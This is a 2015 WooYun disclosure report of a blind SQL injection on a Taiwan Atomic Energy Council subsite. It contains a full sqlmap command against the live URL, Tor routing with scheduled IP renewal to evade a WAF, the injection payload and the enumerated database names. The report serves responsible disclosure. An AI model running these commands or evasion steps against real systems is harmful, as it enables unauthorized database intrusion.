当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113976

漏洞标题:台湾行政院 原子能委員會 某分站SQL注入

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 路人甲

提交时间:2015-05-14 11:39

修复时间:2015-07-01 03:08

公开时间:2015-07-01 03:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-17: 厂商已经确认,细节仅向厂商公开
2015-05-27: 细节向核心白帽子及相关领域专家公开
2015-06-06: 细节向普通白帽子公开
2015-06-16: 细节向实习白帽子公开
2015-07-01: 细节向公众公开

简要描述:

台湾行政院原子能委員會某分站SQL注入

详细说明:

./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=600 --threads 1 -u "http://www.trmc.aec.gov.tw/utf8/big5/keyword.php?KID=14" -p KID --dbs


感觉这个系统已经有WAF了,因为我收获了很多类似下面的错误.
[12:29:11] [INFO] fetching database names
[12:29:11] [INFO] fetching number of databases
[12:29:11] [INFO] retrieved: 4
[12:29:22] [INFO] retrieving the length of query output
[12:29:21] [INFO] retrieved:
[12:29:52] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[12:30:25] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[12:30:56] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[12:31:28] [CRITICAL] connection timed out to the target URL or proxy
[*] shutting down at 12:31:28
还好我像猪猪侠哥哥学习,每5分钟刷新一次Tor的IP地址.并且后来把--threads降低到1,并且加大--time-sec到600,后来就能刷出DB的数据库名了
/home/py/myscripts# crontab -l |grep -v ^#
5,15,25,35,45,55 * * * * /home/py/Tor/renew.py
但是我觉得要拿更多的数据真的会很费劲

漏洞证明:

Parameter: KID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KID=14 AND 1181=1181
---
[12:26:38] [INFO] testing MySQL
[12:26:39] [INFO] confirming MySQL
[12:26:43] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL >= 5.0.0
available databases [4]:
[*] information_schema
[*] TREMWebDB
[*] trmc
[*] trmc_db

修复方案:

也许已经有WAF了,那么也许要加强一下已存的WAF

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-17 03:06

厂商回复:

感謝通報

最新状态:

暂无